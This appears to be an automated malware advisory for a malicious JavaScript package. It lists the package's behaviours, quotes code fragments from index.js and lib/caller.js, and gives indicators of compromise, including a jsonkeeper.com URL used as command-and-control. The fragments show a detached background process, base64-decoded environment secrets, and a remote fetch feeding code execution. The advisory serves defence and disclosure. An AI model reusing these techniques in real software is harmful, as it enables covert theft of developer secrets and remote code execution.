GCVE-110-OSM-2026-4262

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. [osmalyze-auto] Entrypoint: index.js (main: index.js) Exfil: https://jsonkeeper.com/b/BADC6 (custom-c2, recovery: decoded in lib/caller.js) Payload: lib/caller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "..." - Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE); ..." - Global Variable Shadowing in lib/caller.js: "const process = {" - Base64 Decoded Environment Variable in lib/caller.js: "atob(process.env." - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new ..." IOCs: - urls: http://192.168.1.42:9200, https://jsonkeeper.com/b/BADC6 - domains: jsonkeeper.com - payloadFileHash: 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 Decoded/deobfuscated IOCs: - urls: https://jsonkeeper.com/b/BADC6 - domains: jsonkeeper.com